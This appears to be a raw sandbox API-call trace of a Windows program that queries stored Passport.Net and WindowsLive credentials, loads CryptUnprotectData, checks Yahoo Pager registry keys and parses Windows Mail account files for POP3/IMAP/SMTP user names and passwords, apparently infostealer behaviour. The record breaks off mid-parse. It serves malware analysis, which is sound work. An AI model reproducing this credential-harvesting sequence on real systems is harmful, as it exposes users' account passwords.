	[0094.746] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x759d0000
	[0094.746] GetProcAddress (hModule=0x759d0000, lpProcName="CredReadA") returned 0x75a171c1
	[0094.746] GetProcAddress (hModule=0x759d0000, lpProcName="CredFree") returned 0x759db2ec
	[0094.746] GetProcAddress (hModule=0x759d0000, lpProcName="CredDeleteA") returned 0x75a17941
	[0094.746] GetProcAddress (hModule=0x759d0000, lpProcName="CredEnumerateA") returned 0x75a17381
	[0094.746] GetProcAddress (hModule=0x759d0000, lpProcName="CredEnumerateW") returned 0x75a17481
	[0094.746] LoadLibraryA (lpLibFileName="crypt32.dll") returned 0x770e0000
	[0094.747] GetProcAddress (hModule=0x770e0000, lpProcName="CryptUnprotectData") returned 0x77115a7f
	[0094.748] CredReadA (in: TargetName="Passport.Net\\*", Type=0x4, Flags=0x0, Credential=0x18f67c | out: Credential=0x18f67c) returned 0
	[0094.752] FreeLibrary (hLibModule=0x759d0000) returned 1
	[0094.752] FreeLibrary (hLibModule=0x770e0000) returned 1
	[0094.753] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Yahoo\\Pager", ulOptions=0x0, samDesired=0x20019, phkResult=0x18eefc | out: phkResult=0x18eefc*=0x0) returned 0x2
	[0094.754] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\IdentityCRL", ulOptions=0x0, samDesired=0x20019, phkResult=0x18ea90 | out: phkResult=0x18ea90*=0x0) returned 0x2
	[0094.754] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x759d0000
	[0094.754] GetProcAddress (hModule=0x759d0000, lpProcName="CredReadA") returned 0x75a171c1
	[0094.754] GetProcAddress (hModule=0x759d0000, lpProcName="CredFree") returned 0x759db2ec
	[0094.754] GetProcAddress (hModule=0x759d0000, lpProcName="CredDeleteA") returned 0x75a17941
	[0094.754] GetProcAddress (hModule=0x759d0000, lpProcName="CredEnumerateA") returned 0x75a17381
	[0094.754] GetProcAddress (hModule=0x759d0000, lpProcName="CredEnumerateW") returned 0x75a17481
	[0094.754] CredEnumerateW (in: Filter="WindowsLive:name=*", Flags=0x0, Count=0x18f790, Credential=0x18f794 | out: Count=0x18f790, Credential=0x18f794) returned 0
	[0094.754] FreeLibrary (hLibModule=0x759d0000) returned 1
	[0094.754] SHGetSpecialFolderPathA (in: hwnd=0x0, pszPath=0x18f7a0, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\aETAdzjz\\AppData\\Local") returned 1
	[0094.755] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local") returned 0x1f
	[0094.755] strlen (_Str="\\Microsoft\\Windows Mail") returned 0x17
	[0094.755] _mbscat (in: param_1=0x18f7bf, param_2=0x414468 | out: param_1=0x18f7bf) returned 0x18f7bf
	[0094.755] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x36
	[0094.755] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x36
	[0094.755] strlen (_Str="*.oeaccount") returned 0xb
	[0094.755] _mbscpy (in: param_1=0x18ed64, param_2=0x18f12c | out: param_1=0x18ed64) returned 0x18ed64
	[0094.755] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x36
	[0094.755] _mbscat (in: param_1=0x18ed64, param_2=0x413044 | out: param_1=0x18ed64) returned 0x18ed64
	[0094.755] _mbscat (in: param_1=0x18ed64, param_2=0x41445c | out: param_1=0x18ed64) returned 0x18ed64
	[0094.755] FindFirstFileA (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\*.oeaccount", lpFindFileData=0x18eea8 | out: lpFindFileData=0x18eea8) returned 0x596a58
	[0094.757] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x36
	[0094.757] strlen (_Str="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount") returned 0x37
	[0094.757] _mbscpy (in: param_1=0x18efe8, param_2=0x18f12c | out: param_1=0x18efe8) returned 0x18efe8
	[0094.757] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x36
	[0094.757] _mbscat (in: param_1=0x18efe8, param_2=0x413044 | out: param_1=0x18efe8) returned 0x18efe8
	[0094.757] _mbscat (in: param_1=0x18efe8, param_2=0x18eed4 | out: param_1=0x18efe8) returned 0x18efe8
	[0094.757] CreateFileA (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows mail\\account{047ef9ce-9c1f-4250-9ca7-d206db8b643c}.oeaccount"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x104
	[0094.758] GetFileSize (in: hFile=0x104, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x5e4
	[0094.758] SetFilePointer (in: hFile=0x104, lDistanceToMove=2, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2
	[0094.758] ReadFile (in: hFile=0x104, lpBuffer=0x52d900, nNumberOfBytesToRead=0x5e2, lpNumberOfBytesRead=0x18ed24, lpOverlapped=0x0 | out: lpBuffer=0x52d900*, lpNumberOfBytesRead=0x18ed24*=0x5e2, lpOverlapped=0x0) returned 1
	[0094.759] wcslen (_String="<?xml version=\"1.0\" encoding=\"utf-16\" ?>\r\n<MessageAccount>\r\n    <LDAP_Server_ID type=\"DWORD\">00000001</LDAP_Server_ID>\r\n    <Account_Name type=\"SZ\">VeriSign Internet Directory Service</Account_Name>\r\n    <LDAP_Server type=\"SZ\">directory.verisign.com</LDAP_Server>\r\n    <LDAP_URL type=\"SZ\">http://www.verisign.com</LDAP_URL>\r\n    <LDAP_Search_Return type=\"DWORD\">00000064</LDAP_Search_Return>\r\n    <LDAP_Timeout type=\"DWORD\">0000003c</LDAP_Timeout>\r\n    <LDAP_Authentication type=\"DWORD\">00000000</LDAP_Authentication>\r\n    <LDAP_Search_Base type=\"SZ\">NULL</LDAP_Search_Base>\r\n    <LDAP_Simple_Search type=\"DWORD\">00000001</LDAP_Simple_Search>\r\n    <LDAP_Logo type=\"SZ\">D:\\Program Files\\Common Files\\Services\\verisign.bmp</LDAP_Logo>\r\n</MessageAccount>\r\n") returned 0x2f1
	[0094.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="<?xml version=\"1.0\" encoding=\"utf-16\" ?>\r\n<MessageAccount>\r\n    <LDAP_Server_ID type=\"DWORD\">00000001</LDAP_Server_ID>\r\n    <Account_Name type=\"SZ\">VeriSign Internet Directory Service</Account_Name>\r\n    <LDAP_Server type=\"SZ\">directory.verisign.com</LDAP_Server>\r\n    <LDAP_URL type=\"SZ\">http://www.verisign.com</LDAP_URL>\r\n    <LDAP_Search_Return type=\"DWORD\">00000064</LDAP_Search_Return>\r\n    <LDAP_Timeout type=\"DWORD\">0000003c</LDAP_Timeout>\r\n    <LDAP_Authentication type=\"DWORD\">00000000</LDAP_Authentication>\r\n    <LDAP_Search_Base type=\"SZ\">NULL</LDAP_Search_Base>\r\n    <LDAP_Simple_Search type=\"DWORD\">00000001</LDAP_Simple_Search>\r\n    <LDAP_Logo type=\"SZ\">D:\\Program Files\\Common Files\\Services\\verisign.bmp</LDAP_Logo>\r\n</MessageAccount>\r\n", cchWideChar=-1, lpMultiByteStr=0x428468, cbMultiByte=754, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="<?xml version=\"1.0\" encoding=\"utf-16\" ?>\r\n<MessageAccount>\r\n    <LDAP_Server_ID type=\"DWORD\">00000001</LDAP_Server_ID>\r\n    <Account_Name type=\"SZ\">VeriSign Internet Directory Service</Account_Name>\r\n    <LDAP_Server type=\"SZ\">directory.verisign.com</LDAP_Server>\r\n    <LDAP_URL type=\"SZ\">http://www.verisign.com</LDAP_URL>\r\n    <LDAP_Search_Return type=\"DWORD\">00000064</LDAP_Search_Return>\r\n    <LDAP_Timeout type=\"DWORD\">0000003c</LDAP_Timeout>\r\n    <LDAP_Authentication type=\"DWORD\">00000000</LDAP_Authentication>\r\n    <LDAP_Search_Base type=\"SZ\">NULL</LDAP_Search_Base>\r\n    <LDAP_Simple_Search type=\"DWORD\">00000001</LDAP_Simple_Search>\r\n    <LDAP_Logo type=\"SZ\">D:\\Program Files\\Common Files\\Services\\verisign.bmp</LDAP_Logo>\r\n</MessageAccount>\r\n", lpUsedDefaultChar=0x0) returned 754
	[0094.760] strlen (_Str="<?xml version=\"1.0\" encoding=\"utf-16\" ?>\r\n<MessageAccount>\r\n    <LDAP_Server_ID type=\"DWORD\">00000001</LDAP_Server_ID>\r\n    <Account_Name type=\"SZ\">VeriSign Internet Directory Service</Account_Name>\r\n    <LDAP_Server type=\"SZ\">directory.verisign.com</LDAP_Server>\r\n    <LDAP_URL type=\"SZ\">http://www.verisign.com</LDAP_URL>\r\n    <LDAP_Search_Return type=\"DWORD\">00000064</LDAP_Search_Return>\r\n    <LDAP_Timeout type=\"DWORD\">0000003c</LDAP_Timeout>\r\n    <LDAP_Authentication type=\"DWORD\">00000000</LDAP_Authentication>\r\n    <LDAP_Search_Base type=\"SZ\">NULL</LDAP_Search_Base>\r\n    <LDAP_Simple_Search type=\"DWORD\">00000001</LDAP_Simple_Search>\r\n    <LDAP_Logo type=\"SZ\">D:\\Program Files\\Common Files\\Services\\verisign.bmp</LDAP_Logo>\r\n</MessageAccount>\r\n") returned 0x2f1
	[0094.760] strlen (_Str="version") returned 0x7
	[0094.760] strlen (_Str="1.0") returned 0x3
	[0094.760] strlen (_Str="encoding") returned 0x8
	[0094.760] strlen (_Str="utf-16") returned 0x6
	[0094.760] _mbscpy (in: param_1=0x18daf8, param_2=0x18d6d9 | out: param_1=0x18daf8) returned 0x18daf8
	[0094.760] _mbscpy (in: param_1=0x18daf8, param_2=0x18d6d9 | out: param_1=0x18daf8) returned 0x18daf8
	[0094.760] strlen (_Str="type") returned 0x4
	[0094.760] strlen (_Str="DWORD") returned 0x5
	[0094.760] _mbscpy (in: param_1=0x18daf8, param_2=0x18d6d9 | out: param_1=0x18daf8) returned 0x18daf8
	[0094.760] strcmp (_Str1="LDAP_Server_ID", _Str2="Account_Name") returned 1
	[0094.760] strcmp (_Str1="LDAP_Server_ID", _Str2="POP3_Server") returned -1
	[0094.760] strcmp (_Str1="LDAP_Server_ID", _Str2="IMAP_Server") returned 1
	[0094.760] strcmp (_Str1="LDAP_Server_ID", _Str2="NNTP_Server") returned -1
	[0094.760] strcmp (_Str1="LDAP_Server_ID", _Str2="SMTP_Server") returned -1
	[0094.760] strcmp (_Str1="LDAP_Server_ID", _Str2="POP3_User_Name") returned -1
	[0094.760] strcmp (_Str1="LDAP_Server_ID", _Str2="IMAP_User_Name") returned 1
	[0094.760] strcmp (_Str1="LDAP_Server_ID", _Str2="NNTP_User_Name") returned -1
	[0094.760] strcmp (_Str1="LDAP_Server_ID", _Str2="SMTP_User_Name") returned -1
	[0094.760] strcmp (_Str1="LDAP_Server_ID", _Str2="POP3_Password2") returned -1
	[0094.760] strcmp (_Str1="LDAP_Server_ID", _Str2="IMAP_Password2") returned 1
	[0094.760] strcmp (_Str1="LDAP_Server_ID", _Str2="NNTP_Password2") returned -1
	[0094.760] strcmp (_Str1="LDAP_Server_ID", _Str2="SMTP_Password2") returned -1
	[0094.760] strcmp (_Str1="LDAP_Server_ID", _Str2="NNTP_Email_Address") returned -1
	[0094.760] strcmp (_Str1="LDAP_Server_ID", _Str2="SMTP_Email_Address") returned -1
	[0094.760] _strcmpi (_Str1="LDAP_Server_ID", _Str2="SMTP_Port") returned -1
	[0094.761] _strcmpi (_Str1="LDAP_Server_ID", _Str2="NNTP_Port") returned -1
	[0094.761] _strcmpi (_Str1="LDAP_Server_ID", _Str2="IMAP_Port") returned 1
	[0094.761] _strcmpi (_Str1="LDAP_Server_ID", _Str2="POP3_Port") returned -1
	[0094.761] _strcmpi (_Str1="LDAP_Server_ID", _Str2="SMTP_Secure_Connection") returned -1
	[0094.761] _strcmpi (_Str1="LDAP_Server_ID", _Str2="NNTP_Secure_Connection") returned -1
	[0094.761] _strcmpi (_Str1="LDAP_Server_ID", _Str2="IMAP_Secure_Connection") returned 1
	[0094.761] _strcmpi (_Str1="LDAP_Server_ID", _Str2="POP3_Secure_Connection") returned -1
	[0094.761] strlen (_Str="type") returned 0x4
	[0094.761] strlen (_Str="SZ") returned 0x2
	[0094.761] _mbscpy (in: param_1=0x18daf8, param_2=0x18d6d9 | out: param_1=0x18daf8) returned 0x18daf8
	[0094.761] strcmp (_Str1="Account_Name", _Str2="Account_Name") returned 0
	[0094.761] strlen (_Str="VeriSign Internet Directory Service") returned 0x23
	[0094.761] strlen (_Str="VeriSign Internet Directory Service") returned 0x23
	[0094.761] strcmp (_Str1="Account_Name", _Str2="POP3_Server") returned -1
	[0094.761] strcmp (_Str1="Account_Name", _Str2="IMAP_Server") returned -1
	[0094.761] strcmp (_Str1="Account_Name", _Str2="NNTP_Server") returned -1
	[0094.761] strcmp (_Str1="Account_Name", _Str2="SMTP_Server") returned -1
	[0094.761] strcmp (_Str1="Account_Name", _Str2="POP3_User_Name") returned -1
	[0094.761] strcmp (_Str1="Account_Name", _Str2="IMAP_User_Name") returned -1
	[0094.761] strcmp (_Str1="Account_Name", _Str2="NNTP_User_Name") returned -1
	[0094.761] strcmp (_Str1="Account_Name", _Str2="SMTP_User_Name") returned -1
	[0094.761] strcmp (_Str1="Account_Name", _Str2="POP3_Password2") returned -1
	[0094.761] strcmp (_Str1="Account_Name", _Str2="IMAP_Password2") returned -1
	[0094.761] strcmp (_Str1="Account_Name", _Str2="NNTP_Password2") returned -1
	[0094.761] strcmp (_Str1="Account_Name", _Str2="SMTP_Password2") returned -1
	[0094.761] strcmp (_Str1="Account_Name", _Str2="NNTP_Email_Address") returned -1
	[0094.761] strcmp (_Str1="Account_Name", _Str2="SMTP_Email_Address") returned -1
	[0094.761] _strcmpi (_Str1="Account_Name", _Str2="SMTP_Port") returned -1
	[0094.761] _strcmpi (_Str1="Account_Name", _Str2="NNTP_Port") returned -1
	[0094.761] _strcmpi (_Str1="Account_Name", _Str2="IMAP_Port") returned -1
	[0094.761] _strcmpi (_Str1="Account_Name", _Str2="POP3_Port") returned -1
	[0094.761] _strcmpi (_Str1="Account_Name", _Str2="SMTP_Secure_Connection") returned -1
	[0094.761] _strcmpi (_Str1="Account_Name", _Str2="NNTP_Secure_Connection") returned -1
	[0094.761] _strcmpi (_Str1="Account_Name", _Str2="IMAP_Secure_Connection") returned -1
	[0094.761] _strcmpi (_Str1="Account_Name", _Str2="POP3_Secure_Connection") returned -1
	[0094.761] strlen (_Str="type") returned 0x4
	[0094.761] strlen (_Str="SZ") returned 0x2
	[0094.761] _mbscpy (in: param_1=0x18daf8, param_2=0x18d6d9 | out: param_1=0x18daf8) returned 0x18daf8
	[0094.761] strcmp (_Str1="LDAP_Server", _Str2="Account_Name") returned 1
	[0094.761] strcmp (_Str1="LDAP_Server", _Str2="POP3_Server") returned -1
	[0094.761] strcmp (_Str1="LDAP_Server", _Str2="IMAP_Server") returned 1
	[0094.761] strcmp (_Str1="LDAP_Server", _Str2="NNTP_Server") returned -1
	[0094.761] strcmp (_Str1="LDAP_Server", _Str2="SMTP_Server") returned -1
	[0094.761] strcmp (_Str1="LDAP_Server", _Str2="POP3_User_Name") returned -1
	[0094.761] strcmp (_Str1="LDAP_Server", _Str2="IMAP_User_Name") returned 1
	[0094.761] strcmp (_Str1="LDAP_Server", _Str2="NNTP_User_Name") returned -1
	[0094.761] strcmp (_Str1="LDAP_Server", _Str2="SMTP_User_Name") returned -1
	[0094.761] strcmp (_Str1="LDAP_Server", _Str2="POP3_Password2") returned -1
	[0094.761] strcmp (_Str1="LDAP_Server", _Str2="IMAP_Password2") returned 1
	[0094.762] strcmp (_Str1="LDAP_Server", _Str2="NNTP_Password2") returned -1
	[0094.762] strcmp (_Str1="LDAP_Server", _Str2="SMTP_Password2") returned -1
	[0094.762] strcmp (_Str1="LDAP_Server", _Str2="NNTP_Email_Address") returned -1
	[0094.762] strcmp (_Str1="LDAP_Server", _Str2="SMTP_Email_Address") returned -1
	[0094.762] _strcmpi (_Str1="LDAP_Server", _Str2="SMTP_Port") returned -1
	[0094.762] _strcmpi (_Str1="LDAP_Server", _Str2="NNTP_Port") returned -1
	[0094.762] _strcmpi (_Str1="LDAP_Server", _Str2="IMAP_Port") returned 1
	[0094.762] _strcmpi (_Str1="LDAP_Server", _Str2="POP3_Port") returned -1
	[0094.762] _strcmpi (_Str1="LDAP_Server", _Str2="SMTP_Secure_Connection") returned -1
	[0094.762] _strcmpi (_Str1="LDAP_Server", _Str2="NNTP_Secure_Connection") returned -1
	[0094.762] _strcmpi (_Str1="LDAP_Server", _Str2="IMAP_Secure_Connection") returned 1
	[0094.762] _strcmpi (_Str1="LDAP_Server", _Str2="POP3_Secure_Connection") returned -1
	[0094.762] strlen (_Str="type") returned 0x4
	[0094.762] strlen (_Str="SZ") returned 0x2
	[0094.762] _mbscpy (in: param_1=0x18daf8, param_2=0x18d6d9 | out: param_1=0x18daf8) returned 0x18daf8
	[0094.762] strcmp (_Str1="LDAP_URL", _Str2="Account_Name") returned 1
	[0094.762] strcmp (_Str1="LDAP_URL", _Str2="POP3_Server") returned -1
	[0094.762] strcmp (_Str1="LDAP_URL", _Str2="IMAP_Server") returned 1
	[0094.762] strcmp (_Str1="LDAP_URL", _Str2="NNTP_Server") returned -1
	[0094.762] strcmp (_Str1="LDAP_URL", _Str2="SMTP_Server") returned -1
	[0094.762] strcmp (_Str1="LDAP_URL", _Str2="POP3_User_Name") returned -1
	[0094.762] strcmp (_Str1="LDAP_URL", _Str2="IMAP_User_Name") returned 1
	[0094.762] strcmp (_Str1="LDAP_URL", _Str2="NNTP_User_Name") returned -1
	[0094.762] strcmp (_Str1="LDAP_URL", _Str2="SMTP_User_Name") returned -1
	[0094.762] strcmp (_Str1="LDAP_URL", _Str2="POP3_Password2") returned -1
	[0094.762] strcmp (_Str1="LDAP_URL", _Str2="IMAP_Password2") returned 1
	[0094.762] strcmp (_Str1="LDAP_URL", _Str2="NNTP_Password2") returned -1
	[0094.762] strcmp (_Str1="LDAP_URL", _Str2="SMTP_Password2") returned -1
	[0094.762] strcmp (_Str1="LDAP_URL", _Str2="NNTP_Email_Address") returned -1
	[0094.762] strcmp (_Str1="LDAP_URL", _Str2="SMTP_Email_Address") returned -1
	[0094.762] _strcmpi (_Str1="LDAP_URL", _Str2="SMTP_Port") returned -1
	[0094.762] _strcmpi (_Str1="LDAP_URL", _Str2="NNTP_Port") returned -1
	[0094.762] _strcmpi (_Str1="LDAP_URL", _Str2="IMAP_Port") returned 1
	[0094.762] _strcmpi (_Str1="LDAP_URL", _Str2="POP3_Port") returned -1
	[0094.762] _strcmpi (_Str1="LDAP_URL", _Str2="SMTP_Secure_Connection") returned -1
	[0094.762] _strcmpi (_Str1="LDAP_URL", _Str2="NNTP_Secure_Connection") returned -1
	[0094.762] _strcmpi (_Str1="LDAP_URL", _Str2="IMAP_Secure_Connection") returned 1
	[0094.762] _strcmpi (_Str1="LDAP_URL", _Str2="POP3_Secure_Connection") returned -1
	[0094.762] strlen (_Str="type") returned 0x4
	[0094.762] strlen (_Str="DWORD") returned 0x5
	[0094.762] _mbscpy (in: param_1=0x18daf8, param_2=0x18d6d9 | out: param_1=0x18daf8) returned 0x18daf8
	[0094.762] strcmp (_Str1="LDAP_Search_Return", _Str2="Account_Name") returned 1
	[0094.762] strcmp (_Str1="LDAP_Search_Return", _Str2="POP3_Server") returned -1
	[0094.762] strcmp (_Str1="LDAP_Search_Return", _Str2="IMAP_Server") returned 1
	[0094.762] strcmp (_Str1="LDAP_Search_Return", _Str2="NNTP_Server") returned -1
	[0094.762] strcmp (_Str1="LDAP_Search_Return", _Str2="SMTP_Server") returned -1
	[0094.762] strcmp (_Str1="LDAP_Search_Return", _Str2="POP3_User_Name") returned -1
	[0094.762] strcmp (_Str1="LDAP_Search_Return", _Str2="IMAP_User_Name") returned 1
	[0094.762] strcmp (_Str1="LDAP_Search_Return", _Str2="NNTP_User_Name") returned -1
	[0094.763] strcmp (_Str1="LDAP_Search_Return", _Str2="SMTP_User_Name") returned -1
	[0094.763] strcmp (_Str1="LDAP_Search_Return", _Str2="POP3_Password2") returned -1
	[0094.763] strcmp (_Str1="LDAP_Search_Return", _Str2="IMAP_Password2") returned 1
	[0094.763] strcmp (_Str1="LDAP_Search_Return", _Str2="NNTP_Password2") returned -1
	[0094.763] strcmp (_Str1="LDAP_Search_Return", _Str2="SMTP_Password2") returned -1
	[0094.763] strcmp (_Str1="LDAP_Search_Return", _Str2="NNTP_Email_Address") returned -1
	[0094.763] strcmp (_Str1="LDAP_Search_Return", _Str2="SMTP_Email_Address") returned -1
	[0094.763] _strcmpi (_Str1="LDAP_Search_Return", _Str2="SMTP_Port") returned -1
	[0094.763] _strcmpi (_Str1="LDAP_Search_Return", _Str2="NNTP_Port") returned -1
	[0094.763] _strcmpi (_Str1="LDAP_Search_Return", _Str2="IMAP_Port") returned 1
	[0094.763] _strcmpi (_Str1="LDAP_Search_Return", _Str2="POP3_Port") returned -1
	[0094.763] _strcmpi (_Str1="LDAP_Search_Return", _Str2="SMTP_Secure_Connection") returned -1
	[0094.763] _strcmpi (_Str1="LDAP_Search_Return", _Str2="NNTP_Secure_Connection") returned -1
	[0094.763] _strcmpi (_Str1="LDAP_Search_Return", _Str2="IMAP_Secure_Connection") returned 1
	[0094.763] _strcmpi (_Str1="LDAP_Search_Return", _Str2="POP3_Secure_Connection") returned -1
	[0094.763] strlen (_Str="type") returned 0x4
	[0094.763] strlen (_Str="DWORD") returned 0x5
	[0094.763] _mbscpy (in: param_1=0x18daf8, param_2=0x18d6d9 | out: param_1=0x18daf8) returned 0x18daf8
	[0094.763] strcmp (_Str1="LDAP_Timeout", _Str2="Account_Name") returned 1
	[0094.763] strcmp (_Str1="LDAP_Timeout", _Str2="POP3_Server") returned -1
	[0094.763] strcmp (_Str1="LDAP_Timeout", _Str2="IMAP_Server") returned 1
	[0094.763] strcmp (_Str1="LDAP_Timeout", _Str2="NNTP_Server") returned -1
	[0094.763] strcmp (_Str1="LDAP_Timeout", _Str2="SMTP_Server") returned -1
	[0094.763] strcmp (_Str1="LDAP_Timeout", _Str2="POP3_User_Name") returned -1
	[0094.763] strcmp (_Str1="LDAP_Timeout", _Str2="IMAP_User_Name") returned 1
	[0094.763] strcmp (_Str1="LDAP_Timeout", _Str2="NNTP_User_Name") returned -1
	[0094.763] strcmp (_Str1="LDAP_Timeout", _Str2="SMTP_User_Name") returned -1
	[0094.763] strcmp (_Str1="LDAP_Timeout", _Str2="POP3_Password2") returned -1
	[0094.763] strcmp (_Str1="LDAP_Timeout", _Str2="IMAP_Password2") returned 1
	[0094.763] strcmp (_Str1="LDAP_Timeout", _Str2="NNTP_Password2") returned -1
	[0094.763] strcmp (_Str1="LDAP_Timeout", _Str2="SMTP_Password2") returned -1
	[0094.763] strcmp (_Str1="LDAP_Timeout", _Str2="NNTP_Email_Address") returned -1
	[0094.763] strcmp (_Str1="LDAP_Timeout", _Str2="SMTP_Email_Address") returned -1
	[0094.763] _strcmpi (_Str1="LDAP_Timeout", _Str2="SMTP_Port") returned -1
	[0094.763] _strcmpi (_Str1="LDAP_Timeout", _Str2="NNTP_Port") returned -1
	[0094.763] _strcmpi (_Str1="LDAP_Timeout", _Str2="IMAP_Port") returned 1
	[0094.763] _strcmpi (_Str1="LDAP_Timeout", _Str2="POP3_Port") returned -1
	[0094.763] _strcmpi (_Str1="LDAP_Timeout", _Str2="SMTP_Secure_Connection") returned -1
	[0094.763] _strcmpi (_Str1="LDAP_Timeout", _Str2="NNTP_Secure_Connection") returned -1
	[0094.763] _strcmpi (_Str1="LDAP_Timeout", _Str2="IMAP_Secure_Connection") returned 1
	[0094.763] _strcmpi (_Str1="LDAP_Timeout", _Str2="POP3_Secure_Connection") returned -1
	[0094.763] strlen (_Str="type") returned 0x4
	[0094.763] strlen (_Str="DWORD") returned 0x5
	[0094.763] _mbscpy (in: param_1=0x18daf8, param_2=0x18d6d9 | out: param_1=0x18daf8) returned 0x18daf8
	[0094.763] strcmp (_Str1="LDAP_Authentication", _Str2="Account_Name") returned 1
	[0094.763] strcmp (_Str1="LDAP_Authentication", _Str2="POP3_Server") returned -1
	[0094.763] strcmp (_Str1="LDAP_Authentication", _Str2="IMAP_Server") returned 1
	[0094.763] strcmp (_Str1="LDAP_Authentication", _Str2="NNTP_Server") returned -1
	[0094.763] strcmp (_Str1="LDAP_Authentication", _Str2="SMTP_Server") returned -1
	[0094.763] strcmp (_Str1="LDAP_Authentication", _Str2="POP3_User_Name") returned -1
	[0094.764] strcmp (_Str1="LDAP_Authentication", _Str2="IMAP_User_Name") returned 1
	[0094.764] strcmp (_Str1="LDAP_Authentication", _Str2="NNTP_User_Name") returned -1
	[0094.764] strcmp (_Str1="LDAP_Authentication", _Str2="SMTP_User_Name") returned -1
	[0094.764] strcmp (_Str1="LDAP_Authentication", _Str2="POP3_Password2") returned -1
	[0094.764] strcmp (_Str1="LDAP_Authentication", _Str2="IMAP_Password2") returned 1
	[0094.764] strcmp (_Str1="LDAP_Authentication", _Str2="NNTP_Password2") returned -1
	[0094.764] strcmp (_Str1="LDAP_Authentication", _Str2="SMTP_Password2") returned -1
	[0094.764] strcmp (_Str1="LDAP_Authentication", _Str2="NNTP_Email_Address") returned -1
	[0094.764] strcmp (_Str1="LDAP_Authentication", _Str2="SMTP_Email_Address") returned -1
	[0094.764] _strcmpi (_Str1="LDAP_Authentication", _Str2="SMTP_Port") returned -1
	[0094.764] _strcmpi (_Str1="LDAP_Authentication", _Str2="NNTP_Port") returned -1
	[0094.764] _strcmpi (_Str1="LDAP_Authentication", _Str2="IMAP_Port") returned 1
	[0094.764] _strcmpi (_Str1="LDAP_Authentication", _Str2="POP3_Port") returned -1
	[0094.764] _strcmpi (_Str1="LDAP_Authentication", _Str2="SMTP_Secure_Connection") returned -1
	[0094.764] _strcmpi (_Str1="LDAP_Authentication", _Str2="NNTP_Secure_Connection") returned -1
	[0094.764] _strcmpi (_Str1="LDAP_Authentication", _Str2="IMAP_Secure_Connection") returned 1
	[0094.764] _strcmpi (_Str1="LDAP_Authentication", _Str2="POP3_Secure_Connection") returned -1
	[0094.764] strlen (_Str="type") returned 0x4
	[0094.764] strlen (_Str="SZ") returned 0x2
	[0094.764] _mbscpy (in: param_1=0x18daf8, param_2=0x18d6d9 | out: param_1=0x18daf8) returned 0x18daf8
	[0094.764] strcmp (_Str1="LDAP_Search_Base", _Str2="Account_Name") returned 1
	[0094.764] strcmp (_Str1="LDAP_Search_Base", _Str2="POP3_Server") returned -1
	[0094.764] strcmp (_Str1="LDAP_Search_Base", _Str2="IMAP_Server") returned 1
	[0094.764] strcmp (_Str1="LDAP_Search_Base", _Str2="NNTP_Server") returned -1
	[0094.764] strcmp (_Str1="LDAP_Search_Base", _Str2="SMTP_Server") returned -1
	[0094.764] strcmp (_Str1="LDAP_Search_Base", _Str2="POP3_User_Name") returned -1
	[0094.764] strcmp (_Str1="LDAP_Search_Base", _Str2="IMAP_User_Name") returned 1
	[0094.764] strcmp (_Str1="LDAP_Search_Base", _Str2="NNTP_User_Name") returned -1
	[0094.764] strcmp (_Str1="LDAP_Search_Base", _Str2="SMTP_User_Name") returned -1
	[0094.764] strcmp (_Str1="LDAP_Search_Base", _Str2="POP3_Password2") returned -1
	[0094.764] strcmp (_Str1="LDAP_Search_Base", _Str2="IMAP_Password2") returned 1
	[0094.764] strcmp (_Str1="LDAP_Search_Base", _Str2="NNTP_Password2") returned -1
	[0094.764] strcmp (_Str1="LDAP_Search_Base", _Str2="SMTP_Password2") returned -1
	[0094.764] strcmp (_Str1="LDAP_Search_Base", _Str2="NNTP_Email_Address") returned -1
	[0094.764] strcmp (_Str1="LDAP_Search_Base", _Str2="SMTP_Email_Address") returned -1
	[0094.764] _strcmpi (_Str1="LDAP_Search_Base", _Str2="SMTP_Port") returned -1
	[0094.764] _strcmpi (_Str1="LDAP_Search_Base", _Str2="NNTP_Port") returned -1
	[0094.764] _strcmpi (_Str1="LDAP_Search_Base", _Str2="IMAP_Port") returned 1
	[0094.764] _strcmpi (_Str1="LDAP_Search_Base", _Str2="POP3_Port") returned -1
	[0094.764] _strcmpi (_Str1="LDAP_Search_Base", _Str2="SMTP_Secure_Connection") returned -1
	[0094.764] _strcmpi (_Str1="LDAP_Search_Base", _Str2="NNTP_Secure_Connection") returned -1
	[0094.764] _strcmpi (_Str1="LDAP_Search_Base", _Str2="IMAP_Secure_Connection") returned 1
	[0094.764] _strcmpi (_Str1="LDAP_Search_Base", _Str2="POP3_Secure_Connection") returned -1
	[0094.764] strlen (_Str="type") returned 0x4
	[0094.764] strlen (_Str="DWORD") returned 0x5
	[0094.764] _mbscpy (in: param_1=0x18daf8, param_2=0x18d6d9 | out: param_1=0x18daf8) returned 0x18daf8
	[0094.764] strcmp (_Str1="LDAP_Simple_Search", _Str2="Account_Name") returned 1
	[0094.764] strcmp (_Str1="LDAP_Simple_Search", _Str2="POP3_Server") returned -1
	[0094.764] strcmp (_Str1="LDAP_Simple_Search", _Str2="IMAP_Server") returned 1
